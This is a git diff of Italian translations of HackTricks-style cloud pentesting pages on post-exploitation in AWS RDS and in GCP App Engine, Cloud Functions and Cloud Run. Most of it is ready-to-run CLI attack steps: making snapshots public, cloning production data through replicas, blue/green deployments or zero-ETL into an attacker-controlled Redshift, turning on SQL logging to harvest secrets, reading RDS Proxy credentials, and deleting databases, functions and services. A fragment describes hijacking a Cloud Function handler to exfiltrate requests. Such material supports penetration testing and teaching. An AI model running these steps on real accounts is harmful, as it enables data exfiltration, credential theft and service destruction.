diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md index 34768627f..2fa661b7a 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md @@ -12,7 +12,7 @@ Per maggiori informazioni consulta: ### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance` -Se l'attaccante dispone di permessi sufficienti, può rendere un DB **accessibile pubblicamente** creando uno snapshot del DB e poi ripristinando un DB accessibile pubblicamente da quello snapshot. +Se l'attaccante ha permessi sufficienti, potrebbe rendere un **DB accessibile pubblicamente** creando uno snapshot del DB e ripristinando da quello snapshot un DB accessibile pubblicamente. ```bash aws rds describe-db-instances # Get DB identifier @@ -39,8 +39,7 @@ aws rds modify-db-instance \ # Connect to the new DB after a few mins ``` ### `rds:StopDBCluster` & `rds:StopDBInstance` - -Un attacker con rds:StopDBCluster o rds:StopDBInstance può forzare l'arresto immediato di un'istanza RDS o di un intero cluster, causando l'indisponibilità del database, connessioni interrotte e l'interruzione di processi che dipendono dal database. +Un attacker con rds:StopDBCluster o rds:StopDBInstance può forzare l'arresto immediato di un'istanza RDS o di un intero cluster, causando indisponibilità del database, connessioni interrotte e l'interruzione dei processi che dipendono dal database. Per fermare una singola istanza DB (esempio): ```bash @@ -52,9 +51,37 @@ Per arrestare un intero DB cluster (esempio): aws rds stop-db-cluster \ --db-cluster-identifier ``` +### `rds:Modify*` +Un attaccante a cui sono state concesse le autorizzazioni rds:Modify* può alterare configurazioni critiche e risorse ausiliarie (parameter groups, option groups, proxy endpoints and endpoint-groups, target groups, subnet groups, capacity settings, snapshot/cluster attributes, certificates, integrations, ecc.) senza toccare direttamente l'istanza o il cluster. Modifiche come l'aggiustamento dei parametri di connessione/timeout, il cambio di un proxy endpoint, la modifica dei certificati considerati attendibili, l'alterazione della capacità logica o la riconfigurazione di un subnet group possono indebolire la sicurezza (aprendo nuovi percorsi di accesso), interrompere il routing e il load-balancing, invalidare le policy di replica/backup e, in generale, degradare la disponibilità o la capacità di recupero. Queste modifiche possono anche facilitare l'esfiltrazione indiretta di dati o ostacolare un recupero ordinato del database dopo un incidente. + +Spostare o cambiare le subnet assegnate a un RDS subnet group: +```bash +aws rds modify-db-subnet-group \ +--db-subnet-group-name \ +--subnet-ids +``` +Modificare i parametri a basso livello del motore in un gruppo di parametri del cluster: +```bash +aws rds modify-db-cluster-parameter-group \ +--db-cluster-parameter-group-name \ +--parameters "ParameterName=,ParameterValue=,ApplyMethod=immediate" +``` +### `rds:Restore*` + +Un attacker con i permessi rds:Restore* può ripristinare interi database da snapshot, automated backups, point-in-time recovery (PITR), o file memorizzati in S3, creando nuove instances o clusters popolati con i dati del punto selezionato. Queste operazioni non sovrascrivono le risorse originali — creano nuovi oggetti contenenti i dati storici — il che permette a un attacker di ottenere copie complete e funzionanti del database (da punti temporali passati o da file esterni S3) e usarle per exfiltrate data, manipolare record storici o ricostruire stati precedenti. + +Ripristinare una DB instance a un specifico point in time: +```bash +aws rds restore-db-instance-to-point-in-time \ +--source-db-instance-identifier \ +--target-db-instance-identifier \ +--restore-time "" \ +--db-instance-class \ +--publicly-accessible --no-multi-az +``` ### `rds:Delete*` -Un attacker a cui è stato concesso rds:Delete* può rimuovere risorse RDS, eliminando DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups e artefatti correlati, causando interruzione immediata del servizio, perdita di dati, distruzione dei recovery points e perdita di prove forensi. +Un attacker a cui è stato concesso rds:Delete* può rimuovere risorse RDS, eliminando DB instances, cluster, snapshot, backup automatici, subnet groups, parameter/option groups e artefatti correlati, causando un'immediata interruzione del servizio, perdita di dati, distruzione dei punti di ripristino e perdita di prove forensi. ```bash # Delete a DB instance (creates a final snapshot unless you skip it) aws rds delete-db-instance \ @@ -77,9 +104,9 @@ aws rds delete-db-cluster \ ``` ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot` -Un attaccante con queste autorizzazioni potrebbe **creare uno snapshot di un DB** e renderlo **pubblicamente** **disponibile**. Poi, potrebbe semplicemente creare nel proprio account un DB da quello snapshot. +Un attaccante con queste autorizzazioni potrebbe **creare uno snapshot di un DB** e renderlo **pubblicamente** **disponibile**. Quindi, potrebbe semplicemente creare nel proprio account un DB da quello snapshot. -Se l'attaccante **non ha il `rds:CreateDBSnapshot`**, potrebbe comunque rendere **pubblici** altri snapshot creati. +Se l'attaccante **non ha il `rds:CreateDBSnapshot`**, può comunque rendere **altri** snapshot creati **pubblici**. ```bash # create snapshot aws rds create-db-snapshot --db-instance-identifier --db-snapshot-identifier @@ -90,7 +117,7 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier -- ``` ### `rds:DownloadDBLogFilePortion` -Un attaccante con il permesso `rds:DownloadDBLogFilePortion` può **scaricare porzioni dei file di log di un'istanza RDS**. Se dati sensibili o credenziali di accesso vengono registrati accidentalmente, l'attaccante potrebbe potenzialmente usare queste informazioni per ottenere privilegi più elevati o eseguire azioni non autorizzate. +Un attaccante con il permesso `rds:DownloadDBLogFilePortion` può **scaricare porzioni dei file di log di un'istanza RDS**. Se dati sensibili o credenziali di accesso vengono registrati accidentalmente, l'attaccante potrebbe potenzialmente usare queste informazioni per aumentare i propri privilegi o eseguire azioni non autorizzate. ```bash aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text ``` @@ -98,37 +125,37 @@ aws rds download-db-log-file-portion --db-instance-identifier target-instance -- ### `rds:DeleteDBInstance` -Un attaccante con queste autorizzazioni può **DoS le istanze RDS esistenti**. +Un attaccante con questi permessi può **DoS le istanze RDS esistenti**. ```bash # Delete aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot ``` -**Impatto potenziale**: Eliminazione delle istanze RDS esistenti e potenziale perdita di dati. +**Impatto potenziale**: Cancellazione delle istanze RDS esistenti e possibile perdita di dati. ### `rds:StartExportTask` > [!NOTE] > TODO: Da testare -Un attaccante con questa autorizzazione può **esportare lo snapshot di un'istanza RDS in un bucket S3**. Se l'attaccante ha il controllo del bucket S3 di destinazione, può potenzialmente accedere ai dati sensibili contenuti nello snapshot esportato. +Un attaccante con questo permesso può **esportare uno snapshot di un'istanza RDS in un bucket S3**. Se l'attaccante ha il controllo sul bucket S3 di destinazione, può potenzialmente accedere a dati sensibili contenuti nello snapshot esportato. ```bash aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id ``` **Impatto potenziale**: Accesso a dati sensibili nello snapshot esportato. -### Replicazione cross-Region dei backup automatizzati per un ripristino furtivo (`rds:StartDBInstanceAutomatedBackupsReplication`) +### Replica cross-Region delle Automated Backups per un ripristino furtivo (`rds:StartDBInstanceAutomatedBackupsReplication`) -Sfruttare la replica cross-Region dei backup automatizzati per duplicare silenziosamente i backup automatizzati di un'istanza RDS in un'altra AWS Region e ripristinarli lì. L'attaccante può quindi rendere il DB ripristinato accessibile pubblicamente e resettare la password principale per accedere ai dati fuori banda in una Region che i difensori potrebbero non monitorare. +Abusa della replica cross-Region delle Automated Backups per duplicare silenziosamente gli automated backups di un'istanza RDS in un'altra AWS Region e ripristinarli lì. L'attaccante può quindi rendere il DB ripristinato pubblicamente accessibile e resettare la password principale per accedere ai dati fuori banda in una Region che i difensori potrebbero non monitorare. Permessi necessari (minimi): - `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region - `rds:DescribeDBInstanceAutomatedBackups` in the destination Region - `rds:RestoreDBInstanceToPointInTime` in the destination Region - `rds:ModifyDBInstance` in the destination Region -- `rds:StopDBInstanceAutomatedBackupsReplication` (pulizia opzionale) -- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (per esporre il DB ripristinato) +- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup) +- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB) -Impatto: Persistenza ed esfiltrazione di dati ripristinando una copia dei dati di produzione in un'altra Region ed esponendola pubblicamente con credenziali controllate dall'attaccante. +Impatto: Persistenza ed esfiltrazione di dati ripristinando una copia di dati di produzione in un'altra Region e rendendola pubblica con credenziali controllate dall'attaccante.
CLI end-to-end (sostituire i segnaposto) @@ -200,25 +227,25 @@ aws rds stop-db-instance-automated-backups-replication \
-### Abilita il logging SQL completo tramite DB parameter groups ed exfiltrate tramite RDS log APIs +### Abilita il logging SQL completo tramite DB parameter groups ed esfiltra tramite RDS log APIs -Abusa di `rds:ModifyDBParameterGroup` insieme alle RDS log download APIs per catturare tutte le istruzioni SQL eseguite dalle applicazioni (non sono necessarie le credenziali del DB engine). Abilita il logging SQL dell'engine e recupera i file di log tramite `rds:DescribeDBLogFiles` e `rds:DownloadDBLogFilePortion` (o la REST `downloadCompleteLogFile`). Utile per raccogliere query che possono contenere secrets/PII/JWTs. +Abusa di `rds:ModifyDBParameterGroup` insieme alle RDS log download APIs per catturare tutte le istruzioni SQL eseguite dalle applicazioni (non sono necessarie credenziali del DB engine). Abilita il logging SQL dell'engine e scarica i file di log tramite `rds:DescribeDBLogFiles` e `rds:DownloadDBLogFilePortion` (o la REST `downloadCompleteLogFile`). Utile per raccogliere query che possono contenere segreti/PII/JWTs. Permessi necessari (minimi): - `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion` - `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup` -- `rds:ModifyDBInstance` (solo per associare un custom parameter group se l'istanza sta usando quello di default) +- `rds:ModifyDBInstance` (solo per associare un parameter group personalizzato se l'istanza sta usando quello di default) - `rds:RebootDBInstance` (per parametri che richiedono il reboot, es. PostgreSQL) Passaggi -1) Recon target and current parameter group +1) Recon del target e del parameter group corrente ```bash aws rds describe-db-instances \ --query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \ --output table ``` -2) Assicurati che sia associato un gruppo di parametri DB personalizzato (non è possibile modificare il predefinito) -- Se l'istanza usa già un gruppo personalizzato, riutilizza il suo nome nel passaggio successivo. +2) Assicurati che sia associato un DB parameter group personalizzato (non è possibile modificare quello predefinito) +- Se l'istanza usa già un DB parameter group personalizzato, riutilizza il suo nome nel passo successivo. - Altrimenti crea e associa uno che corrisponda alla famiglia del motore: ```bash # Example for PostgreSQL 16 @@ -234,7 +261,7 @@ aws rds modify-db-instance \ # Wait until status becomes "available" ``` 3) Abilitare il logging SQL dettagliato -- motori MySQL (immediato / senza riavvio): +- Motori MySQL (immediato / senza riavvio): ```bash aws rds modify-db-parameter-group \ --db-parameter-group-name \ @@ -245,7 +272,7 @@ aws rds modify-db-parameter-group \ # "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \ # "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate" ``` -- PostgreSQL engines (richiede riavvio): +- Motori PostgreSQL (riavvio richiesto): ```bash aws rds modify-db-parameter-group \ --db-parameter-group-name \ @@ -257,11 +284,11 @@ aws rds modify-db-parameter-group \ # Reboot if any parameter is pending-reboot aws rds reboot-db-instance --db-instance-identifier ``` -4) Lascia che il carico di lavoro venga eseguito (o genera query). Le istruzioni SQL verranno scritte nei file di log del motore +4) Lascia eseguire il carico di lavoro (o genera query). Le query verranno scritte nei file di log del motore - MySQL: `general/mysql-general.log` - PostgreSQL: `postgresql.log` -5) Individua e scarica i log (no DB creds required) +5) Individua e scarica i log (non sono richieste credenziali DB) ```bash aws rds describe-db-log-files --db-instance-identifier @@ -276,7 +303,7 @@ aws rds download-db-log-file-portion \ ```bash grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head ``` -Esempio di evidenza (oscurata): +Esempio di evidenza (redatta): ```text 2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!') 2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED') @@ -298,19 +325,19 @@ aws rds modify-db-parameter-group \ "ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot" # Reboot if pending-reboot ``` -Impatto: Accesso ai dati post-exploitation catturando tutte le istruzioni SQL dell'applicazione via AWS APIs (senza credenziali DB), potenzialmente leaking secrets, JWTs e PII. +Impatto: Accesso ai dati post-exploitation catturando tutte le SQL statements delle applicazioni tramite AWS APIs (no DB creds), potenzialmente leaking segreti, JWTs e PII. ### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance` -Abusa delle RDS read replicas per ottenere accesso in lettura out-of-band senza toccare le credenziali dell'istanza primaria. Un attaccante può creare una read replica da un'istanza di produzione, resettare la master password della replica (questo non modifica la primaria), e opzionalmente esporre la replica pubblicamente per exfiltrate data. +Abusare delle read replica di RDS per ottenere accesso in lettura out-of-band senza toccare le credenziali dell'istanza primaria. Un attacker può creare una read replica da un'istanza di produzione, resettare la master password della replica (questo non cambia la primaria) e, opzionalmente, esporre la replica pubblicamente per esfiltrare i dati. -Permessi necessari (minimi): +Permessi necessari (minimo): - `rds:DescribeDBInstances` - `rds:CreateDBInstanceReadReplica` - `rds:ModifyDBInstance` -- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (se esposta pubblicamente) +- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly) -Impatto: Accesso in sola lettura ai dati di produzione tramite una replica con credenziali controllate dall'attaccante; minore probabilità di rilevamento poiché l'istanza primaria resta intatta e la replicazione continua. +Impatto: Accesso in sola lettura ai dati di produzione tramite una replica con credenziali controllate dall'attacker; minore probabilità di rilevamento poiché la primaria rimane intatta e la replication continua. ```bash # 1) Recon: find non-Aurora sources with backups enabled aws rds describe-db-instances \ @@ -342,12 +369,12 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier # aws rds promote-read-replica --db-instance-identifier ``` Esempio di evidenza (MySQL): -- Stato DB replica: `available`, replicazione in sola lettura: `replicating` +- Stato della replica DB: `available`, read replication: `replicating` - Connessione riuscita con la nuova password e `@@read_only=1` che conferma l'accesso in sola lettura alla replica. ### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance` -Abusa di RDS Blue/Green per clonare un DB di produzione in un ambiente green continuamente replicato e in sola lettura. Poi reimposta le credenziali master del green per accedere ai dati senza toccare l'istanza blue (prod). Questo è più stealthy dello snapshot sharing e spesso bypassa il monitoraggio focalizzato solo sulla sorgente. +Abusare di RDS Blue/Green per clonare un DB di produzione in un ambiente green continuamente replicato e in sola lettura. Poi reimpostare le credenziali del master green per accedere ai dati senza toccare l'istanza blue (prod). Questo è più furtivo rispetto alla condivisione di snapshot e spesso aggira il monitoraggio focalizzato solo sulla sorgente. ```bash # 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account) aws rds describe-db-instances \ @@ -394,22 +421,22 @@ aws rds delete-blue-green-deployment \ --blue-green-deployment-identifier \ --delete-target true ``` -Impatto: Accesso in sola lettura ma completo ai dati di una clone quasi in tempo reale della produzione senza modificare l'istanza di produzione. Utile per estrazione furtiva di dati e analisi offline. +Impatto: Accesso in sola lettura ma completo ai dati di una copia quasi in tempo reale della produzione senza modificare l'istanza di produzione. Utile per estrazione furtiva dei dati e analisi offline. -### SQL out-of-band via RDS Data API abilitando HTTP endpoint + reimpostando la master password +### SQL fuori banda via RDS Data API abilitando l'endpoint HTTP + reimpostando la master password -Sfrutta Aurora per abilitare l'endpoint HTTP del RDS Data API su un cluster target, reimpostare la master password con un valore sotto il tuo controllo ed eseguire SQL via HTTPS (non è richiesto un percorso di rete VPC). Funziona sui motori Aurora che supportano il Data API/EnableHttpEndpoint (es. Aurora MySQL 8.0 provisioned; alcune versioni di Aurora PostgreSQL/MySQL). +Abusa di Aurora per abilitare l'endpoint HTTP del RDS Data API su un cluster target, reimpostare la master password con un valore che controlli ed eseguire SQL via HTTPS (non è richiesto un percorso di rete VPC). Funziona sui motori Aurora che supportano il Data API/EnableHttpEndpoint (e.g., Aurora MySQL 8.0 provisioned; some Aurora PostgreSQL/MySQL versions). Permessi (minimi): - rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint) - secretsmanager:CreateSecret - rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used) -Impatto: Bypass della segmentazione di rete ed esfiltrazione dei dati tramite AWS APIs senza connettività VPC diretta al DB. +Impatto: Consente di bypassare la segmentazione di rete ed esfiltrare dati tramite le API AWS senza connettività VPC diretta al DB.
-Esempio CLI end-to-end (Aurora MySQL) +CLI end-to-end (esempio Aurora MySQL) ```bash # 1) Identify target cluster ARN REGION=us-east-1 @@ -462,21 +489,21 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
Note: -- Se SQL multi-statement è rifiutato da rds-data, esegui chiamate execute-statement separate. -- Per engine dove modify-db-cluster --enable-http-endpoint non ha effetto, usa rds enable-http-endpoint --resource-arn. -- Assicurati che l'engine/version supporti effettivamente il Data API; altrimenti HttpEndpointEnabled rimarrà False. +- Se SQL con più istruzioni viene rifiutato da rds-data, emettere chiamate separate execute-statement. +- Per gli engine in cui modify-db-cluster --enable-http-endpoint non ha effetto, usare rds enable-http-endpoint --resource-arn. +- Assicurarsi che engine/version supporti effettivamente la Data API; altrimenti HttpEndpointEnabled rimarrà False. -### Recupero delle credenziali DB tramite i secret di autenticazione di RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`) +### Harvest DB credentials via RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`) -Abusa della configurazione di RDS Proxy per scoprire il secret di Secrets Manager usato per l'autenticazione del backend, quindi leggi il secret per ottenere le credenziali del database. Molti ambienti concedono ampio `secretsmanager:GetSecretValue`, rendendo questo un pivot a basso attrito verso le credenziali DB. Se il secret utilizza una CMK, permessi KMS mal configurati possono anche permettere `kms:Decrypt`. +Abusare della configurazione di RDS Proxy per scoprire il secret di Secrets Manager usato per l'autenticazione del backend, quindi leggere il secret per ottenere le credenziali del database. Molti ambienti concedono ampio `secretsmanager:GetSecretValue`, rendendo questo un pivot a basso attrito verso le credenziali DB. Se il secret utilizza una CMK, autorizzazioni KMS scorrettamente limitate possono anche permettere `kms:Decrypt`. -Permessi necessari (minimi): +Permissions needed (minimum): - `rds:DescribeDBProxies` -- `secretsmanager:GetSecretValue` sul SecretArn referenziato -- Opzionale quando il secret usa una CMK: `kms:Decrypt` su quella chiave +- `secretsmanager:GetSecretValue` on the referenced SecretArn +- Optional when the secret uses a CMK: `kms:Decrypt` on that key -Impatto: Divulgazione immediata dello username/password del DB configurato sul proxy; consente accesso diretto al DB o ulteriori movimenti laterali. +Impact: Divulgazione immediata di username/password del DB configurati sul proxy; consente accesso diretto al DB o ulteriori movimenti laterali. Passaggi ```bash @@ -491,7 +518,7 @@ aws secretsmanager get-secret-value \ --query SecretString --output text # Example output: {"username":"admin","password":"S3cr3t!"} ``` -Laboratorio (minimo per riprodurre) +Lab (minimo necessario per riprodurre) ```bash REGION=us-east-1 ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) @@ -510,24 +537,24 @@ aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \ aws rds wait db-proxy-available --db-proxy-name p0 # Now run the enumeration + secret read from the Steps above ``` -Pulizia (laboratorio) +Pulizia (lab) ```bash aws rds delete-db-proxy --db-proxy-name p0 aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite aws iam delete-role --role-name rds-proxy-secret-role aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery ``` -### Stealthy continuous exfiltration via Aurora zero‑ETL to Amazon Redshift (rds:CreateIntegration) +### Esfiltrazione continua furtiva tramite Aurora zero‑ETL verso Amazon Redshift (rds:CreateIntegration) -Abusa dell'integrazione Aurora PostgreSQL zero‑ETL per replicare continuamente i dati di produzione in un namespace Redshift Serverless che controlli. Con una Redshift resource policy permissiva che autorizza CreateInboundIntegration/AuthorizeInboundIntegration per un ARN del cluster Aurora specifico, un attacker può stabilire una copia dei dati quasi in tempo reale senza DB creds, snapshots o esposizione di rete. +Sfrutta l'integrazione Aurora PostgreSQL zero‑ETL per replicare continuamente i dati di produzione in un namespace Redshift Serverless che controlli. Con una permissiva Redshift resource policy che autorizza CreateInboundIntegration/AuthorizeInboundIntegration per un ARN di un cluster Aurora specifico, un attacker può stabilire una copia dei dati quasi in tempo reale senza DB creds, snapshots o network exposure. -Permissions needed (minimum): +Permessi necessari (minimi): - `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration` - `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations` - `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (per interrogare) - `rds-data:ExecuteStatement` (opzionale; per popolare i dati se necessario) -Tested on: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless. +Testato su: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
1) Creare namespace Redshift Serverless + workgroup @@ -577,7 +604,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
-3) Crea un cluster Aurora PostgreSQL (abilita Data API e logical replication) +3) Crea cluster Aurora PostgreSQL (abilita Data API e replica logica) ```bash CLUSTER_ID=aurora-ztl aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ @@ -608,7 +635,7 @@ SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier
-4) Creare l'integrazione zero‑ETL da RDS +4) Crea l'integrazione zero‑ETL da RDS ```bash # Include all tables in the default 'postgres' database aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \ @@ -633,12 +660,12 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d ```
-Evidenze osservate nel test: +Prove osservate nel test: - redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-... -- SVV_INTEGRATION mostrava integration_id 377a462b-c42c-4f08-937b-77fe75d98211 e lo stato PendingDbConnectState prima della creazione del DB. -- Dopo CREATE DATABASE FROM INTEGRATION, l'elenco delle tabelle ha rivelato lo schema ztl e la tabella customers; eseguendo SELECT su ztl.customers sono state restituite 2 righe (Alice, Bob). +- SVV_INTEGRATION showed integration_id 377a462b-c42c-4f08-937b-77fe75d98211 and state PendingDbConnectState prior to DB creation. +- After CREATE DATABASE FROM INTEGRATION, listing tables revealed schema ztl and table customers; selecting from ztl.customers returned 2 rows (Alice, Bob). -Impatto: Continuous near‑real‑time exfiltration di tabelle selezionate di Aurora PostgreSQL in Redshift Serverless controllato dall'attaccante, senza utilizzare credenziali del database, backup o accesso di rete al cluster sorgente. +Impatto: exfiltration continua quasi in tempo reale di tabelle selezionate di Aurora PostgreSQL verso Redshift Serverless controllato dall'attaccante, senza utilizzare credenziali del database, backup o accesso di rete al cluster sorgente. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md index 20f5c5b98..5ff10b284 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md @@ -16,32 +16,33 @@ Con questi permessi è possibile: - Aggiungere una chiave - Elencare le chiavi -- Ottenere una chiave -- Eliminare una chiave +- Recuperare una chiave +- Eliminare > [!CAUTION] -> Tuttavia, I **couldn't find any way to access this information from the cli**, only from the **web console** where you need to know the **Key type** and the **Key name**, of from the a**pp engine running app**. +> Tuttavia, **non sono riuscito a trovare alcun modo per accedere a queste informazioni dalla cli**, solo dalla **web console** dove è necessario conoscere il **Key type** e il **Key name**, oppure dall'**app engine running app**. > -> Se conosci modi più semplici per usare questi permessi invia una Pull Request! +> Se conosci modi più semplici per usare questi permessi, invia una Pull Request! ### `logging.views.access` Con questo permesso è possibile **vedere i log dell'App**: - -
- -Segui i log dell'app ```bash gcloud app logs tail -s ``` -
+### Eliminazione di servizi e versioni -### Leggi Source Code +I permessi `appengine.versions.delete`, `appengine.versions.list` e `appengine.services.list` consentono di gestire e cancellare versioni specifiche di un'applicazione App Engine, il che può influire sul traffico se è suddiviso o se viene rimossa l'unica versione stabile. Nel frattempo, i permessi `appengine.services.delete` e `appengine.services.list` consentono di elencare e cancellare interi servizi — un'azione che interrompe immediatamente tutto il traffico e la disponibilità delle versioni associate. +```bash +gcloud app versions delete +gcloud app services delete +``` +### Leggi il codice sorgente -Il source code di tutte le versioni e dei servizi è **memorizzato nel bucket** con il nome **`staging..appspot.com`**. Se hai accesso in scrittura puoi leggere il source code e cercare **vulnerabilities** e **informazioni sensibili**. +Il codice sorgente di tutte le versioni e dei servizi è **memorizzato nel bucket** con il nome **`staging..appspot.com`**. Se hai write access puoi leggere il codice sorgente e cercare **vulnerabilities** e **sensitive information**. -### Modifica Source Code +### Modifica il codice sorgente -Modifica il source code per rubare credentials se vengono inviati o per eseguire un defacement web attack. +Modifica il codice sorgente per rubare le credentials se vengono inviate o per eseguire un defacement web attack. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md index 6ac934b01..42b540c5a 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md @@ -12,30 +12,31 @@ Trova informazioni su Cloud Functions in: ### `cloudfunctions.functions.sourceCodeGet` -Con questo permesso puoi ottenere una **URL firmata per poter scaricare il codice sorgente** della Cloud Function: - -
- -Ottieni una URL firmata per il download del codice sorgente +Con questo permesso puoi ottenere un **URL firmato per scaricare il codice sorgente** della Cloud Function: ```bash curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \ -H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \ -H "Content-Type: application/json" \ -d '{}' ``` -
+### `cloudfunctions.functions.delete` +Il permesso `cloudfunctions.functions.delete` consente a un'identità di eliminare completamente una Cloud Function, incluso il suo codice, la configurazione, i trigger e la sua associazione con gli account di servizio. +```bash +gcloud functions delete \ +--region=us-central1 \ +--quiet +``` +### Code Exfiltration through the bucket +Le autorizzazioni `storage.objects.get` e `storage.objects.list` permettono di elencare e leggere gli oggetti all'interno di un bucket, e nel caso di Cloud Functions questo è particolarmente rilevante perché ogni funzione memorizza il proprio codice sorgente in un bucket Google gestito automaticamente, il cui nome segue il formato `gcf-sources--` -### Rubare le richieste della Cloud Function -Se la Cloud Function gestisce informazioni sensibili che gli utenti inviano (es. password o token), con privilegi sufficienti potresti **modificare il codice sorgente della function ed exfiltrate** queste informazioni. +### Steal Cloud Function Requests -Inoltre, le Cloud Functions che girano in python usano **flask** per esporre il web server; se in qualche modo trovi una code injection vulnerability all'interno del processo flaks (una SSTI vulnerability, per esempio), è possibile **override the function handler** che riceverà le HTTP requests per una **malicious function** che può **exfiltrate the request** prima di passarla al legit handler. +Se la Cloud Function gestisce informazioni sensibili inviate dagli utenti (es. password o token), con privilegi sufficienti potresti **modify the source code of the function and exfiltrate** queste informazioni. + +Inoltre, le Cloud Functions eseguite in python utilizzano **flask** per esporre il web server; se in qualche modo trovi una vulnerabilità di code injection nel processo flask (ad esempio una vulnerabilità SSTI), è possibile **override the function handler** che riceverà le richieste HTTP per una **malicious function** che può **exfiltrate the request** prima di passarla al handler legittimo. Per esempio questo codice implementa l'attacco: - -
- -Steal Cloud Function requests (Python injection) ```python import functions_framework @@ -132,8 +133,4 @@ return "Injection completed!" except Exception as e: return str(e) ``` -
- - - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-run-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-run-post-exploitation.md index 0d83945dc..883c2e936 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-run-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-run-post-exploitation.md @@ -4,20 +4,31 @@ ## Cloud Run -Per ulteriori informazioni su Cloud Run, controlla: +Per maggiori informazioni su Cloud Run consulta: {{#ref}} ../gcp-services/gcp-cloud-run-enum.md {{#endref}} -### Accedi alle immagini +### Eliminare Job di Cloud Run +Le autorizzazioni `run.services.delete` e `run.services.get`, così come `run.jobs.delete`, consentono a un'identità di eliminare completamente un servizio o job di Cloud Run, inclusa la sua configurazione e cronologia. Nelle mani di un attaccante, questo può causare un'interruzione immediata delle applicazioni o dei workflow critici, provocando un denial of service (DoS) per gli utenti e i sistemi che dipendono dalla logica del servizio o da task schedulati essenziali. -Se puoi accedere alle immagini del container, controlla il codice per vulnerabilità e informazioni sensibili 